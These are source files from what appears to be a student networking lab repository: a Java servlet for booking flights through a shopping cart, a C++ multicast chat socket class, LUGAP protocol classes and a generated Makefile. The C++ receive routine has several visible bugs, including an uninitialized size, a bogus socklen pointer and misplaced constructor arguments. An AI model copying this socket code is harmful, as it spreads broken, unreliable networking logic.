this.servletContext.log("ERREUR de recuperation de la variable session!");
request.setAttribute("msgErreur", "ERREUR de recuperation de la variable session!");
}
this.servletContext.getRequestDispatcher("/WEB-INF/JSPInit.jsp")
.forward(request, response);
} catch (ServletException | IOException ex) {
this.servletContext.log("ERREUR de forward depuis initRequest.", ex);
affichagePage(response, "ERREUR de forward depuis initRequest.");
}
}
private void caddieRequete(HttpServletRequest request, HttpServletResponse response) {
this.servletContext.log("New client requested to init caddie.");
request.setAttribute("pageTitle", "Book your vol!");
try {
HttpSession session = request.getSession(false);
if(session.getAttribute("idcaddie") == null){
response.sendRedirect(request.getContextPath() + "/init");
return;
}
// On regarde si on demande à ajouter un vol
if(request.getParameter("ap") != null
&& request.getParameter("al") != null
&& request.getParameter("dep") != null
&& request.getParameter("des") != null
&& request.getParameter("rsvNbr") != null
&& Integer.valueOf(request.getParameter("rsvNbr")) > 0 ){
reserveVol(request, session);
}
// On récupère les items du caddie depuis la bd
chercherItemCaddie(request, session, false);
// On parcours les vols disponibles
chercherAvion(request, session);
this.servletContext.getRequestDispatcher("/WEB-INF/JSPCaddie.jsp")
.forward(request, response);
} catch (ServletException | IOException ex) {
System.out.println(ex.getMessage());
this.servletContext.log("ERREUR de forward depuis initRequest.", ex);
affichagePage(response, "ERREUR de forward depuis initRequest.");
} catch (SQLException ex) {
System.out.println(ex.getMessage());
this.servletContext.log("ERREUR de connexion à la base de données!", ex);
affichagePage(response, "ERREUR de connexion à la base de données!");
}
}
private void reserveVol(HttpServletRequest request, HttpSession session) throws SQLException {
String sql;
ResultSet resultSet;
HashMap<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, request.getParameter("ap"));
preparedMap.put(2, request.getParameter("al"));
preparedMap.put(3, request.getParameter("dep"));
preparedMap.put(4, request.getParameter("des"));
sql = "SELECT seatsSold, seats"
+ " FROM " + this.DB_TABLE_VOL + " INNER JOIN " + this.DB_TABLE_AVION
+ " ON " + this.DB_TABLE_VOL + ".fk_idairplane = " + this.DB_TABLE_AVION + ".idairplane"
+ " AND " + this.DB_TABLE_VOL + ".fk_idairline = " + this.DB_TABLE_AVION + ".fk_idairline"
+ " WHERE fk_idairplane=?"
+ " AND " + this.DB_TABLE_VOL + ".fk_idairline=?"
+ " AND departure=?"
+ " AND destination=?"
+ " FOR UPDATE";
resultSet = this.db.executeQuery(sql, preparedMap);
if(resultSet.next()){
if( (resultSet.getInt("seatsSold") + Integer.valueOf(request.getParameter("rsvNbr"))) <= resultSet.getInt("seats")){
try {
sql = "UPDATE " + this.DB_TABLE_VOL
+ " SET seatsSold=" + (resultSet.getInt("seatsSold") + Integer.valueOf(request.getParameter("rsvNbr")))
+ " WHERE fk_idairplane=?"
+ " AND fk_idairline=?"
+ " AND departure=?"
+ " AND destination=?";
if(this.db.executeUpdate(sql, preparedMap ) == 1 )
{
//Si on a déjà réservé des places pour ce vol, on update le nombre
preparedMap.put(5, session.getAttribute("idcaddie"));
sql = "SELECT iditem, reservedSeats"
+ " FROM " + this.DB_TABLE_RESERVATION
+ " WHERE fk_idairplane=?"
+ " AND fk_idairline=?"
+ " AND fk_departure=?"
+ " AND fk_destination=?"
+ " AND fk_idcaddie=?"
+ " FOR UPDATE";
resultSet = this.db.executeQuery(sql, preparedMap);
if(resultSet.next()){
sql = "UPDATE " + this.DB_TABLE_RESERVATION
+ " SET reservedSeats = " + (resultSet.getInt("reservedSeats") + Integer.valueOf(request.getParameter("rsvNbr")))
+ " WHERE iditem=" + resultSet.getInt("iditem");
}
else{
preparedMap.put(6, Integer.valueOf(request.getParameter("rsvNbr")));
sql = "INSERT INTO " + this.DB_TABLE_RESERVATION
+ " (`fk_idairplane`, `fk_idairline`, `fk_departure`, `fk_destination`, `fk_idcaddie`, `reservedSeats`)"
+ " VALUES(?, ?, ?, ?, ?, ?)";
}
if( this.db.executeUpdate(sql, preparedMap) == 1)
this.db.commit();
else
this.db.rollback();
}
else
this.db.rollback();
} catch (SQLException | InterruptedException ex) {
System.out.println(ex.getMessage());
this.db.rollback();
}
}
else
this.db.rollback();
}
}
private LinkedHashMap<Integer, Vol> chercherItemCaddie(HttpServletRequest request, HttpSession session, boolean forUpdate) throws SQLException {
String sql;
ResultSet resultSet;
HashMap<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, session.getAttribute("idcaddie"));
sql = "SELECT iditem, " + this.DB_TABLE_RESERVATION + ".fk_idairline, " + this.DB_TABLE_RESERVATION + ".fk_idairplane, fk_departure, takeOffTime, distance, scheduledLanding, fk_destination, fk_idgeographiczone, reservedSeats, price"
+ " FROM " + this.DB_TABLE_RESERVATION
+ " INNER JOIN " + this.DB_TABLE_VOL
+ " ON " + this.DB_TABLE_RESERVATION + ".fk_idairplane = " + this.DB_TABLE_VOL + ".fk_idairplane"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_idairline = " + this.DB_TABLE_VOL + ".fk_idairline"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_departure = " + this.DB_TABLE_VOL + ".departure"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_destination = " + this.DB_TABLE_VOL + ".destination"
+ " WHERE fk_idcaddie = ?";
if(forUpdate)
sql += " FOR UPDATE";
resultSet = this.db.executeQuery(sql, preparedMap);
LinkedHashMap<Integer, Vol> vols = new LinkedHashMap<>();
while(resultSet.next()){
vols.put(resultSet.getInt("iditem"),
new Vol(resultSet.getInt("fk_idairplane"),
resultSet.getString("fk_idairline"),
Date.valueOf(resultSet.getDate("fk_departure").toLocalDate()),
resultSet.getString("fk_destination"),
resultSet.getString("fk_idgeographiczone"),
resultSet.getInt("distance"),
Time.valueOf(resultSet.getTime("takeOffTime").toLocalTime()),
Time.valueOf(resultSet.getTime("scheduledLanding").toLocalTime()),
resultSet.getInt("reservedSeats"),
resultSet.getDouble("price"))
);
}
request.setAttribute("flights", vols);
return vols;
}
private void payRequete(HttpServletRequest request, HttpServletResponse response) {
this.servletContext.log("New client requested to init caddie.");
request.setAttribute("pageTitle", "Money, money, money!");
try {
HttpSession session = request.getSession(false);
if(session.getAttribute("idcaddie") == null){
response.sendRedirect(request.getContextPath() + "/init");
}
else{
try{
if(request.getParameter("action") != null){
switch(request.getParameter("action")){
case "validatePayment":
for(Map.Entry<Integer, Vol> entry : chercherItemCaddie(request, session, true).entrySet()){
HashMap<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, entry.getValue().getIdAvion());
preparedMap.put(2, entry.getValue().getIdCompagnieAvion());
preparedMap.put(3, entry.getValue().getDepartDate());
preparedMap.put(4, entry.getValue().getDestination());
String sql = "SELECT idticket, nbaccompagnant"
+ " FROM " + this.DB_TABLE_BILLET
+ " WHERE fk_idairplane=?"
+ " AND fk_idairline=?"
+ " AND fk_departure=?"
+ " AND fk_destination=?"
+ " ORDER BY idticket DESC LIMIT 1"
+ " FOR UPDATE";
ResultSet rs = this.db.executeQuery(sql, preparedMap);
if(rs.next()){
System.out.println("TROUVé un autre ticket pour ce vol :" + rs.getInt("idticket"));
preparedMap.put(5, (rs.getInt("idticket")+rs.getInt("nbaccompagnant")+1));
}
else{
System.out.println("pas d'autres tickets pour ce vol");
preparedMap.put(5, 1);
}
preparedMap.put(6, session.getAttribute("idpassenger"));
preparedMap.put(7, (entry.getValue().getPlace()-1));
sql = "INSERT INTO " + this.DB_TABLE_BILLET
+ "(`fk_idairplane`,`fk_idairline`,`fk_departure`,`fk_destination`,`idticket`,`fk_idpassenger`,`nbaccompagnant`)"
+ " VALUES(?,?,?,?,?,?,?)";
if(this.db.executeUpdate(sql, preparedMap)==1){
preparedMap.clear();
preparedMap.put(1, entry.getKey());
sql = "DELETE FROM " + this.DB_TABLE_RESERVATION
+ " WHERE iditem=?";
this.db.executeUpdate(sql, preparedMap);
}
}
this.db.commit();
affichagePage(response, "Votre payement a bien été pris en compte!");
return;
case "emptyCaddie":
HashMap<Integer, Object> preparedMap = new HashMap<>();
preparedMap.put(1, session.getAttribute("idcaddie"));
String sql = "UPDATE " + this.DB_TABLE_RESERVATION + " INNER JOIN " + this.DB_TABLE_VOL
+ " ON " + this.DB_TABLE_RESERVATION + ".fk_idairplane = " + this.DB_TABLE_VOL + ".fk_idairplane"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_idairline = " + this.DB_TABLE_VOL + ".fk_idairline"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_departure = " + this.DB_TABLE_VOL + ".departure"
+ " AND " + this.DB_TABLE_RESERVATION + ".fk_destination = " + this.DB_TABLE_VOL + ".destination"
+ " SET seatsSold=seatsSold-reservedSeats"
+ " WHERE fk_idcaddie=?";
if(this.db.executeUpdate(sql, preparedMap) >0 ){
sql = "DELETE FROM " + this.DB_TABLE_RESERVATION
+ " WHERE fk_idcaddie=?";
this.db.executeUpdate(sql, preparedMap);
this.db.commit();
}
else
this.db.rollback();
affichagePage(response, "Votre caddie a bien été vidé!");
return;
default:
this.servletContext.getRequestDispatcher("/WEB-INF/JSPPay.jsp")
.forward(request, response);
break;
}
}
else{
int totalPrice = 0;
for(Vol vol : chercherItemCaddie(request, session, true).values()){
totalPrice += vol.getPrix();
}
request.setAttribute("totalPrice", totalPrice);
session.setAttribute("totalPrice", totalPrice);
this.servletContext.getRequestDispatcher("/WEB-INF/JSPPay.jsp")
.forward(request, response);
}
} catch (InterruptedException | SQLException ex) {
this.servletContext.log("ERREUR de connexion à la base de données!", ex);
try {
this.db.rollback();
} catch (SQLException ex1) {
System.out.println(ex1.getMessage());
}
affichagePage(response, "ERREUR de connexion à la base de données!");
}
}
} catch (ServletException | IOException ex) {
System.out.println(ex.getMessage());
this.servletContext.log("ERREUR de forward depuis initRequest.", ex);
affichagePage(response, "ERREUR de forward depuis initRequest.");
}
}
private LinkedHashMap<Vol, Integer> chercherAvion(HttpServletRequest request, HttpSession session) throws SQLException {
String sql;
ResultSet resultSet;
LinkedHashMap<Vol, Integer> availableVols = new LinkedHashMap<>();
sql = "SELECT fk_idairplane, " + this.DB_TABLE_VOL + ".fk_idairline, departure, destination, fk_idgeographiczone, distance, takeOffTime, scheduledLanding, seatsSold, seats, price"
+ " FROM " + this.DB_TABLE_VOL + " INNER JOIN " + this.DB_TABLE_AVION
+ " ON " + this.DB_TABLE_VOL + ".fk_idairplane = " + this.DB_TABLE_AVION + ".idairplane"
+ " AND " + this.DB_TABLE_VOL + ".fk_idairline = " + this.DB_TABLE_AVION + ".fk_idairline"
+ " WHERE TIMESTAMP(departure, takeOffTime)>=NOW()"
+ " AND seatsSold<seats"
+ " ORDER BY departure, takeOffTime";
resultSet = this.db.executeQuery(sql);
while(resultSet.next()){
availableVols.put(new Vol(resultSet.getInt("fk_idairplane"),
resultSet.getString("fk_idairline"),
Date.valueOf(resultSet.getDate("departure").toLocalDate()),
resultSet.getString("destination"),
resultSet.getString("fk_idgeographiczone"),
resultSet.getInt("distance"),
Time.valueOf(resultSet.getTime("takeOffTime").toLocalTime()),
Time.valueOf(resultSet.getTime("scheduledLanding").toLocalTime()),
resultSet.getInt("seatsSold"),
resultSet.getDouble("price")),
resultSet.getInt("seats")
);
}
request.setAttribute("availableFlights", availableVols);
return availableVols;
}
private synchronized void affichagePage(HttpServletResponse response, String message) {
response.setContentType("text/html;charset=UTF-8");
try (PrintWriter out = response.getWriter()) {
out.println("<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\">\n" +
"<html lang=\"fr\">\n" +
" <head>\n" +
" <title>Caddie virtuel - INFO</title>\n" +
" </head>\n" +
" <body>\n" +
" <h1>" + message + "</h1>"+
" <form method=\"POST\" action=\"/Web_Applic_Billets/init\">\n" +
" <input id=\"hiddenAction\" name=\"hiddenAction\" value=\"login\" hidden=\"true\">\n" +
" <button class=\"btn btn-lg btn-primary btn-block\" type=\"submit\">retourner au début</button>\n" +
" </form>"+
" </body>\n" +
"</html>");
}
catch (IOException ex) {
this.servletContext.log("affichagePage Error", ex);
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/MulticastSocket.cpp
#include "MulticastSocket.h"
MulticastSocket::MulticastSocket() : socketHandle(-1) {}
MulticastSocket::MulticastSocket(unsigned int portNumber, const HostInfo &infoLocal, const HostInfo &infoOther, std::string sep, std::string finTrame) throw(ErrnoException, SocketException) {
/* Création de la socket */
if( (this->socketHandle = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
throw ErrnoException(errno, "MulticastSocket::MulticastSocket(int portNumber, const HostInfo &info, string endingSeparator) >> error trying to create MulticastSocket().");
if(portNumber==0)
throw SocketException("MulticastSocket::MulticastSocket(int portNumber, const HostInfo &info, string endingSeparator) >> the TCPport number can't be 0.");
this->portNumber = portNumber;
if(finTrame.empty() || finTrame.length()==0)
throw SocketException("MulticastSocket::MulticastSocket(int portNumber, const HostInfo &info, string endingSeparator) >> the finTrame is empty.");
this->finTrame = finTrame;
if(sep.empty() || sep.length()==0)
throw SocketException("MulticastSocket::MulticastSocket(int portNumber, const HostInfo &info, string endingSeparator) >> the separator is empty.");
this->separator = sep;
/* Préparation de la structure sockaddr_in du Local */
memset(&(this->socketAddressLocal), 0, sizeof(struct sockaddr_in));
this->socketAddressLocal.sin_family = AF_INET;
this->socketAddressLocal.sin_addr.s_addr = inet_addr(infoLocal.getHostIpAddress());
/* Préparation de la structure sockaddr_in du Other */
memset(&(this->socketAddressOther), 0, sizeof(struct sockaddr_in));
this->socketAddressOther.sin_family = AF_INET;
this->socketAddressOther.sin_port = htons(this->portNumber);
this->socketAddressOther.sin_addr.s_addr = inet_addr(infoOther.getHostIpAddress());
std::cout << "socketHandle1=" << this->socketHandle << std::endl;
if( bind(this->socketHandle, (struct sockaddr *) &(this->socketAddressLocal), sizeof(this->socketAddressLocal)) < 0)
throw ErrnoException(errno, "MulticastSocket::MulticastSocket(int portNumber, const HostInfo &info, string endingSeparator) >> error trying to create MulticastSocket().");
int reuse=1;
setsockopt(this->socketHandle, SOL_SOCKET, SO_REUSEPORT, (char *)reuse, sizeof(reuse));
unsigned char ttl = 2;
setsockopt(this->socketHandle, IPPROTO_IP, IP_MULTICAST_TTL, &ttl, sizeof(ttl));
memcpy(&(this->mreq.imr_multiaddr), &(this->socketAddressOther.sin_addr), sizeof(this->socketAddressOther));
this->mreq.imr_interface.s_addr = inet_addr("255.255.255.255");
setsockopt(this->socketHandle, IPPROTO_IP, IP_ADD_MEMBERSHIP, &(this->mreq), sizeof(this->mreq));
}
MulticastSocket::MulticastSocket(const MulticastSocket &orig) {
this->socketHandle = orig.socketHandle;
this->portNumber = orig.portNumber;
memcpy(&(this->socketAddressLocal), &(orig.socketAddressLocal), sizeof(struct sockaddr_in));
memcpy(&(this->socketAddressOther), &(orig.socketAddressOther), sizeof(struct sockaddr_in));
this->separator = orig.separator;
this->finTrame = orig.finTrame;
}
MulticastSocket::~MulticastSocket() {
if(this->socketHandle!= -1) {
setsockopt(this->socketHandle, IPPROTO_IP, IP_DROP_MEMBERSHIP, &(this->mreq), sizeof(this->mreq));
close(this->socketHandle);
}
}
std::ostream &operator<<(std::ostream &os, const MulticastSocket &socket) {
os << " --------------- Socket ---------------" << std::endl;
os << " Socket Id: " << socket.getSocketHandle() << std::endl;
os << " Port #: " << socket.getPortNumber() << std::endl;
os << " --------------- Fin ---------------" << std::endl;
return os;
}
int MulticastSocket::getSocketHandle() const {
return this->socketHandle;
}
int MulticastSocket::getPortNumber() const {
return this->portNumber;
}
unsigned int MulticastSocket::sendMessage(const Message &message) const throw(ErrnoException) {
std::stringstream ss;
ss << message.getMessageType() << this->separator;
ss << message.getUser() << this->separator;
ss << message.getTime() << this->separator;
ss << message.getTag() << this->separator;
ss << message.getMessage() << this->separator;
ss << message.getDigest() << this->finTrame;
std::string msgToSend = ss.str();
std::string msgtoShow = "Message to send : " + msgToSend;
affSocket(msgtoShow.c_str());
char *buffer = new char[msgToSend.length()+1];
memcpy(buffer, msgToSend.c_str(), msgToSend.length());
buffer[msgToSend.length()] = '\0';
sendto(this->socketHandle, buffer, msgToSend.length(), 0, (struct sockaddr *)(&this->socketAddressOther), sizeof(struct sockaddr_in));
delete[] buffer;
return msgToSend.length();
}
Message* MulticastSocket::receiveMessage() throw(ErrnoException) {
size_t sizeToFetch, totalSizeFetched;
ssize_t sizeFetched;
char *buffer;
buffer = new char[1000];
memset(buffer, '\0', 1000);
std::cout << "socketHandle2=" << this->socketHandle << std::endl;
if( recvfrom(this->socketHandle, buffer, 1000, 0, (struct sockaddr*)&(this->socketAddressLocal), (socklen_t *)sizeof(this->socketAddressLocal)) ==-1 ) {
printf("Erreur sur le recvfrom de la socket %d\n", errno);
throw ErrnoException(EPIPE,
"MulticastSocket::receiveMessage(char* receivedBytes, int flag) >> The connection closed without warning.");
}
{
std::stringstream ss;
ss << "Received message's total size : " << totalSizeFetched << "(endSep included).";
affSocket(ss.str().c_str());
}
totalSizeFetched -= this->separator.length();
// messageSplit[0] : type message (question, réponse, evenement => voir ProtocolMUCOP_UDP)
// messageSplit[1] : utilisateur qui envoie le message
// messageSplit[2] : heure d'envoi
// messageSplit[3] : tag
// messageSplit[4] : message
// messageSplit[5] : digest
/*** On copie les bytes dans une instance de Message***/
std::stringstream ss;
ss << buffer;
std::string messageString = ss.str();
int count = 0;
size_t nPos = messageString.find("hello", 0); // fist occurrence
while(nPos != std::string::npos)
{
count++;
nPos = messageString.find("hello", nPos+1);
}
if(count==5) {
int typeMessage = atoi(getNextToken(messageString).c_str());
std::string user = getNextToken(messageString);
std::string time = getNextToken(messageString);
std::string tag = getNextToken(messageString);
std::string mes = getNextToken(messageString);
int digest = atoi(getNextToken(messageString).c_str());
if (typeMessage == POST_QUESTION || typeMessage == ANSWER_QUESTION || typeMessage == POST_EVENT)
return new Message(typeMessage, user, time, tag, digest);
}
return nullptr;
}
const std::string MulticastSocket::getNextToken(std::string &msg) const {
size_t pos = 0;
std::string token;
if ((pos = msg.find(this->separator)) != std::string::npos) {
token = msg.substr(0, pos);
msg.erase(0, pos + this->separator.length());
}
return token;
}<file_sep>/part_3/Evaluation3(ancien)/LUGAP/src/lugap/requete/RequeteLUGAP_getFlights.java
package lugap.requete;
import communicator.CommunicatorException;
import entities.Flight;
import java.io.Serializable;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.util.ArrayList;
import lugap.reponse.ReponseLUGAP_getFlights;
public class RequeteLUGAP_getFlights extends RequeteLUGAP implements Serializable {
public RequeteLUGAP_getFlights() {
super("GetFlight", "SELECT * "
+ "FROM flight "
+ "WHERE departure=CURDATE() "
+ "ORDER BY takeOffTime ASC");
}
@Override
protected void doAction() {
ArrayList<Flight> flights = new ArrayList<>();
try {
try {
ResultSet resultSet = this.databaseAccess.executeQuery(this.sqlStatement);
System.out.println("\nToday's flights are : ");
while(resultSet.next()){
Flight flight = new Flight(resultSet.getInt("fk_idairplane"),
resultSet.getString("fk_idairline"),
resultSet.getDate("departure").toLocalDate(),
resultSet.getString("destination"),
resultSet.getTime("takeOffTime").toLocalTime(),
resultSet.getTime("scheduledLanding").toLocalTime());
flights.add(flight);
System.out.println(" Flight n°" + flights.size() + " : " + flight.toString());
}
System.out.println("-------");
this.reponse = ReponseLUGAP_getFlights.OK(flights);
traceEvent("GetFlight OK (flights found : " + flights.size() + ")");
} catch (SQLException ex) {
this.reponse = ReponseLUGAP_getFlights.KO("Erreur Serveur (SQL)");
traceEvent("Erreur SQL/BDD : " + ex.getMessage());
}
this.communicator.SendSerializable(this.reponse);
} catch (CommunicatorException ex) {
traceEvent(ex.getMessage());
}
}
}
<file_sep>/LaboReseauxBinome/Evaluation1/Application_CheckIn/cmake-build-debug/CMakeFiles/Librairies.dir/cmake_clean_target.cmake
file(REMOVE_RECURSE
"libLibrairies.a"
)
<file_sep>/LaboReseauxBinome/Evaluation3/LUGAP/src/lugap/reponse/ReponseLUGAP_logout.java
package lugap.reponse;
import java.io.Serializable;
import server.Reponse;
public class ReponseLUGAP_logout extends Reponse implements Serializable {
private ReponseLUGAP_logout(String message, boolean successful) {
super(message, successful);
}
public static ReponseLUGAP_logout OK(){
return new ReponseLUGAP_logout("", true);
}
public static ReponseLUGAP_logout KO(String message){
return new ReponseLUGAP_logout(message, false);
}
}
<file_sep>/LaboReseauxBinome/Evaluation5/Application_CIAChat/Message.h
#ifndef APPLICATION_CIACHAT_MESSAGE_H
#define APPLICATION_CIACHAT_MESSAGE_H
#include <string>
#include <ctime>
#include <iomanip>
#include <sstream>
#include <ostream>
#include <random>
#include <cfloat>
#include <vector>
#define POST_QUESTION 0
#define ANSWER_QUESTION 1
#define POST_EVENT 2
class Message {
private:
std::string time;
int messageType;
std::string message;
std::string tag;
int digest;
std::string user;
std::string getMessageTypeAsString() const;
public:
Message(int messageType, const std::string &user, const std::string &message, const std::string &tag);
Message(int messageType, const std::string &user, const std::string &message, const std::string &tag, int digest);
Message(int messageType, const std::string &user, const std::string &time, const std::string &message, const std::string &tag, int digest);
int getMessageType() const;
const std::string &getTime() const;
const std::string &getMessage() const;
const std::string &getTag() const;
int getDigest() const;
const std::string &getUser() const;
static int createDigest(std::string msg);
static std::string getCurrentTime();
static std::string generateTag(std::vector<Message> messageList);
friend std::ostream &operator<<(std::ostream &os, const Message &message);
};
#endif //APPLICATION_CIACHAT_MESSAGE_H
<file_sep>/LaboReseauxBinome/Evaluation1/Librairies/cmake-build-debug/Makefile
# CMAKE generated file: DO NOT EDIT!
# Generated by "Unix Makefiles" Generator, CMake Version 3.8
# Default target executed when no arguments are given to make.
default_target: all
.PHONY : default_target
# Allow only one "make -f Makefile2" at a time, but pass parallelism.
.NOTPARALLEL:
#=============================================================================
# Special targets provided by cmake.
# Disable implicit rules so canonical targets will work.
.SUFFIXES:
# Remove some rules from gmake that .SUFFIXES does not remove.
SUFFIXES =
.SUFFIXES: .hpux_make_needs_suffix_list
# Suppress display of executed commands.
$(VERBOSE).SILENT:
# A target that is always out of date.
cmake_force:
.PHONY : cmake_force
#=============================================================================
# Set environment variables for the build.
# The shell in which to execute make rules.
SHELL = /bin/sh
# The CMake executable.
CMAKE_COMMAND = /Applications/CLion.app/Contents/bin/cmake/bin/cmake
# The command to remove a file.
RM = /Applications/CLion.app/Contents/bin/cmake/bin/cmake -E remove -f
# Escaping for special characters.
EQUALS = =
# The top-level source directory on which CMake was run.
CMAKE_SOURCE_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies
# The top-level build directory on which CMake was run.
CMAKE_BINARY_DIR = /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/cmake-build-debug
#=============================================================================
# Targets provided globally by CMake.
# Special rule for the target rebuild_cache
rebuild_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "Running CMake to regenerate build system..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR)
.PHONY : rebuild_cache
# Special rule for the target rebuild_cache
rebuild_cache/fast: rebuild_cache
.PHONY : rebuild_cache/fast
# Special rule for the target edit_cache
edit_cache:
@$(CMAKE_COMMAND) -E cmake_echo_color --switch=$(COLOR) --cyan "No interactive CMake dialog available..."
/Applications/CLion.app/Contents/bin/cmake/bin/cmake -E echo No\ interactive\ CMake\ dialog\ available.
.PHONY : edit_cache
# Special rule for the target edit_cache
edit_cache/fast: edit_cache
.PHONY : edit_cache/fast
# The main all target
all: cmake_check_build_system
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/cmake-build-debug/CMakeFiles /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/cmake-build-debug/CMakeFiles/progress.marks
$(MAKE) -f CMakeFiles/Makefile2 all
$(CMAKE_COMMAND) -E cmake_progress_start /Users/laurent/Dropbox/INPRES/3eme_info2/Reseaux/Labo/Evaluation1/Librairies/cmake-build-debug/CMakeFiles 0
.PHONY : all
# The main clean target
clean:
$(MAKE) -f CMakeFiles/Makefile2 clean
.PHONY : clean
# The main clean target
clean/fast: clean
.PHONY : clean/fast
# Prepare targets for installation.
preinstall: all
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall
# Prepare targets for installation.
preinstall/fast:
$(MAKE) -f CMakeFiles/Makefile2 preinstall
.PHONY : preinstall/fast
# clear depends
depend:
$(CMAKE_COMMAND) -H$(CMAKE_SOURCE_DIR) -B$(CMAKE_BINARY_DIR) --check-build-system CMakeFiles/Makefile.cmake 1
.PHONY : depend
#=============================================================================
# Target rules for targets named test_Project
# Build rule for target.
test_Project: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_Project
.PHONY : test_Project
# fast build rule for target.
test_Project/fast:
$(MAKE) -f CMakeFiles/test_Project.dir/build.make CMakeFiles/test_Project.dir/build
.PHONY : test_Project/fast
#=============================================================================
# Target rules for targets named test_hostInfo
# Build rule for target.
test_hostInfo: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_hostInfo
.PHONY : test_hostInfo
# fast build rule for target.
test_hostInfo/fast:
$(MAKE) -f CMakeFiles/test_hostInfo.dir/build.make CMakeFiles/test_hostInfo.dir/build
.PHONY : test_hostInfo/fast
#=============================================================================
# Target rules for targets named test_LoginCsvHandler
# Build rule for target.
test_LoginCsvHandler: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_LoginCsvHandler
.PHONY : test_LoginCsvHandler
# fast build rule for target.
test_LoginCsvHandler/fast:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/build
.PHONY : test_LoginCsvHandler/fast
#=============================================================================
# Target rules for targets named Librairies
# Build rule for target.
Librairies: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 Librairies
.PHONY : Librairies
# fast build rule for target.
Librairies/fast:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/build
.PHONY : Librairies/fast
#=============================================================================
# Target rules for targets named test_Properties
# Build rule for target.
test_Properties: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_Properties
.PHONY : test_Properties
# fast build rule for target.
test_Properties/fast:
$(MAKE) -f CMakeFiles/test_Properties.dir/build.make CMakeFiles/test_Properties.dir/build
.PHONY : test_Properties/fast
#=============================================================================
# Target rules for targets named test_CsvHandler
# Build rule for target.
test_CsvHandler: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_CsvHandler
.PHONY : test_CsvHandler
# fast build rule for target.
test_CsvHandler/fast:
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/build
.PHONY : test_CsvHandler/fast
#=============================================================================
# Target rules for targets named test_errnoException
# Build rule for target.
test_errnoException: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_errnoException
.PHONY : test_errnoException
# fast build rule for target.
test_errnoException/fast:
$(MAKE) -f CMakeFiles/test_errnoException.dir/build.make CMakeFiles/test_errnoException.dir/build
.PHONY : test_errnoException/fast
#=============================================================================
# Target rules for targets named test_CsvException
# Build rule for target.
test_CsvException: cmake_check_build_system
$(MAKE) -f CMakeFiles/Makefile2 test_CsvException
.PHONY : test_CsvException
# fast build rule for target.
test_CsvException/fast:
$(MAKE) -f CMakeFiles/test_CsvException.dir/build.make CMakeFiles/test_CsvException.dir/build
.PHONY : test_CsvException/fast
CIMP/CIMP.o: CIMP/CIMP.cpp.o
.PHONY : CIMP/CIMP.o
# target to build an object file
CIMP/CIMP.cpp.o:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/CIMP/CIMP.cpp.o
.PHONY : CIMP/CIMP.cpp.o
CIMP/CIMP.i: CIMP/CIMP.cpp.i
.PHONY : CIMP/CIMP.i
# target to preprocess a source file
CIMP/CIMP.cpp.i:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/CIMP/CIMP.cpp.i
.PHONY : CIMP/CIMP.cpp.i
CIMP/CIMP.s: CIMP/CIMP.cpp.s
.PHONY : CIMP/CIMP.s
# target to generate assembly for a file
CIMP/CIMP.cpp.s:
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/CIMP/CIMP.cpp.s
.PHONY : CIMP/CIMP.cpp.s
CSV/CsvHandler.o: CSV/CsvHandler.cpp.o
.PHONY : CSV/CsvHandler.o
# target to build an object file
CSV/CsvHandler.cpp.o:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/CSV/CsvHandler.cpp.o
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/CSV/CsvHandler.cpp.o
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/CSV/CsvHandler.cpp.o
.PHONY : CSV/CsvHandler.cpp.o
CSV/CsvHandler.i: CSV/CsvHandler.cpp.i
.PHONY : CSV/CsvHandler.i
# target to preprocess a source file
CSV/CsvHandler.cpp.i:
$(MAKE) -f CMakeFiles/test_LoginCsvHandler.dir/build.make CMakeFiles/test_LoginCsvHandler.dir/CSV/CsvHandler.cpp.i
$(MAKE) -f CMakeFiles/Librairies.dir/build.make CMakeFiles/Librairies.dir/CSV/CsvHandler.cpp.i
$(MAKE) -f CMakeFiles/test_CsvHandler.dir/build.make CMakeFiles/test_CsvHandler.dir/CSV/CsvHandler.cpp.i
.PHONY : CSV/CsvHandler.cpp.i
CSV/CsvHandler.s: CSV/CsvHandler.cpp.s
